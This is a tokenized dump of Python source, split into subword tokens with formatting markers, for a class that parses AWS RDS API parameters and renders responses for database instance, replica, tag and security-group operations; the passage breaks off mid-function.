"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "db", "\\u", "kwargs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "auto", "\\u", "mino", "r", "\\u", "version", "\\u", "upgrade", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Auto", "Min", "or", "Version", "Upgrade", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "allocated", "\\u", "storage", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "int\\u", "param_", "(_", "'", "Allocate", "d", "Stor", "age", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "avail", "abilit", "y", "\\u", "zone", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Avail", "abilit", "y", "Zon", "e", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "backup", "\\u", "retention", "\\u", "period", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Back", "up", "Ret", "enti", "on", "Period", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "instance", "\\u", "class", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Class", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "instance", "\\u", "identifi", "er", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "name", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "DB", "Name", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "DB", "Parameter", "Group", "Name_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "subnet", "\\u", "group", "\\u", "name", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "DB", "Subnet", "Group", "Name", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "eng", "ine", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Engine", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "eng", "ine", "\\u", "version", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Engine", "Version", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "iops", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "int\\u", "param_", "(_", "\"", "Io", "ps", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "master", "\\u", "user", "\\u", "password", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Master", "User", "Passw", "ord", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "master", "\\u", "user", "name", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Master", "User", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "multi", "\\u", "az", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "bool\\u", "param_", "(_", "\"", "Multi", "AZ", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "n", "Group", "Name_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Port", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prefe", "rre", "d", "Back", "up", "Window_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prefe", "rre", "d", "Maint", "ena", "nce", "Window_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "public", "ly", "\\u", "accessible", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Public", "ly", "Accessib", "le", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "region", "\"_", ":_", "self_", "._", "region_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "security", "\\u", "group", "s", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "multi", "\\u", "param_", "(_", "'", "DB", "Secur", "it", "y", "Group", "s", ".", "member", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "storage", "\\u", "type", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Stor", "age", "Type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Vp", "c", "Secur", "it", "y", "Group", "Id", "s", ".", "member", ".", "N_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tags", "\"_", ":_", "list_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "[_", "'", "tags", "'_", "]_", "=_", "self_", "._", "unpack", "\\u", "complex", "\\u", "list", "\\u", "params_", "(_", "'", "Ta", "gs", ".", "member", "'_", ",_", "(_", "'", "Key", "'_", ",_", "'", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "db", "\\u", "replica", "\\u", "kwargs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "auto", "\\u", "mino", "r", "\\u", "version", "\\u", "upgrade", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Auto", "Min", "or", "Version", "Upgrade", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "avail", "abilit", "y", "\\u", "zone", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Avail", "abilit", "y", "Zon", "e", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "instance", "\\u", "class", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Class", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "instance", "\\u", "identifi", "er", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "db", "\\u", "subnet", "\\u", "group", "\\u", "name", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "DB", "Subnet", "Group", "Name", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "iops", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "int\\u", "param_", "(_", "\"", "Io", "ps", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "n", "Group", "Name_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Port", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "public", "ly", "\\u", "accessible", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Public", "ly", "Accessib", "le", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "source", "\\u", "db", "\\u", "identifi", "er", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Sou", "rce", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "storage", "\\u", "type", "\"_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "\"", "Stor", "age", "Type", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "option", "\\u", "group", "\\u", "kwargs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "major", "\\u", "eng", "ine", "\\u", "version", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Maj", "or", "Engine", "Version", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "n", "Group", "Descripti", "on", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "eng", "ine", "\\u", "name", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Engine", "Name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Optio", "n", "Group", "Name", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "unpack", "\\u", "complex", "\\u", "list", "\\u", "params_", "(_", "self_", ",_", "label_", ",_", "names_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unpacked", "\\u", "list_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'{", "0", "}.", "{", "1", "}.", "{", "2", "}'_", "._", "format_", "(_", "label_", ",_", "count_", ",_", "names_", "[_", "0_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "names_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param_", "[_", "names_", "[_", "i_", "]_", "]_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'{", "0", "}.", "{", "1", "}.", "{", "2", "}'_", "._", "format_", "(_", "label_", ",_", "count_", ",_", "names_", "[_", "i_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unpacked", "\\u", "list_", "._", "append_", "(_", "param_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "unpacked", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "unpack", "\\u", "list", "\\u", "params_", "(_", "self_", ",_", "label_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unpacked", "\\u", "list_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'{", "0", "}.", "{", "1", "}'_", "._", "format_", "(_", "label_", ",_", "count_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unpacked", "\\u", "list_", "._", "append_", "(_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'{", "0", "}.", "{", "1", "}'_", "._", "format_", "(_", "label_", ",_", "count_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "unpacked", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "dbinstance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "create", "\\u", "db", "\\u", "instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "db", "\\u", "instance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "db", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "=_", "self_", "._", "backend_", "._", "create", "\\u", "database_", "(_", "db", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "CREATE", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "database_", "=_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "dbi", "nstance", "\\u", "read", "\\u", "replica_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "create", "\\u", "db", "\\u", "instance", "\\u", "read", "\\u", "replica_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "db", "\\u", "instance", "\\u", "read", "\\u", "replica_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "db", "\\u", "replica", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "self_", "._", "backend_", "._", "create", "\\u", "databa", "se", "\\u", "replica_", "(_", "db", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "CREATE", "\\u", "DATA", "BASE", "\\u", "REPLICA", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "database_", "=_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "dbi", "nstance", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "descri", "be", "\\u", "db", "\\u", "instances_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "descri", "be", "\\u", "db", "\\u", "instances_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "instance", "\\u", "identifier_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "databases_", "=_", "self_", "._", "backend_", "._", "descri", "be", "\\u", "databases_", "(_", "db", "\\u", "instance", "\\u", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DESC", "RIB", "E", "\\u", "DATA", "BASE", "S", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "databases_", "=_", "databases_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "modif", "y", "\\u", "dbinstance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "modif", "y", "\\u", "db", "\\u", "instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "modif", "y", "\\u", "db", "\\u", "instance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "instance", "\\u", "identifier_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "kwargs_", "=_", "self_", "._", "\\u", "get", "\\u", "db", "\\u", "kwargs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "=_", "self_", "._", "backend_", "._", "modif", "y", "\\u", "database_", "(_", "db", "\\u", "instance", "\\u", "identifier_", ",_", "db", "\\u", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "MODIFY", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "database_", "=_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "dbinstance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "delete", "\\u", "db", "\\u", "instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "db", "\\u", "instance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "instance", "\\u", "identifier_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "=_", "self_", "._", "backend_", "._", "delete", "\\u", "database_", "(_", "db", "\\u", "instance", "\\u", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "DELET", "E", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "database_", "=_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rebo", "ot", "\\u", "dbinstance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "rebo", "ot", "\\u", "db", "\\u", "instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rebo", "ot", "\\u", "db", "\\u", "instance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "instance", "\\u", "identifier_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Insta", "nce", "Identifie", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "=_", "self_", "._", "backend_", "._", "rebo", "ot", "\\u", "db", "\\u", "instance_", "(_", "db", "\\u", "instance", "\\u", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "REB", "OOT", "\\u", "DATA", "BASE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "database_", "=_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "list", "\\u", "tags", "\\u", "for", "\\u", "resource_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arn_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Reso", "urc", "e", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "LIST", "\\u", "TAG", "S", "\\u", "FOR", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "self_", "._", "backend_", "._", "list", "\\u", "tags", "\\u", "for", "\\u", "resource_", "(_", "arn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "tags_", "=_", "tags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "tags", "\\u", "to", "\\u", "resource_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arn_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Reso", "urc", "e", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "self_", "._", "unpack", "\\u", "complex", "\\u", "list", "\\u", "params_", "(_", "'", "Ta", "gs", ".", "member", "'_", ",_", "(_", "'", "Key", "'_", ",_", "'", "Value", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tags_", "=_", "self_", "._", "backend_", "._", "add", "\\u", "tags", "\\u", "to", "\\u", "resource_", "(_", "arn_", ",_", "tags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "ADD", "\\u", "TAG", "S", "\\u", "TO", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", "tags_", "=_", "tags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "tags", "\\u", "from", "\\u", "resource_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arn_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "Reso", "urc", "e", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u", "keys_", "=_", "self_", "._", "unpack", "\\u", "list", "\\u", "params_", "(_", "'", "Ta", "g", "Keys", ".", "member", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "backend_", "._", "remove", "\\u", "tags", "\\u", "from", "\\u", "resource_", "(_", "arn_", ",_", "tag", "\\u", "keys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template_", "=_", "self_", "._", "response", "\\u", "template_", "(_", "REMOVE", "\\u", "TAG", "S", "\\u", "FROM", "\\u", "RES", "OUR", "CE", "\\u", "TEMPLATE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "template_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "dbse", "curi", "ty", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "create", "\\u", "db", "\\u", "security", "\\u", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "RDS", "2", "Response_", "(_", "Base", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "db", "\\u", "security", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "\\u", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", "'", "DB", "Secur", "it", "y", "Group", "Name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "self_", "._", "\\u", "get", "\\u", "param_", "(_", 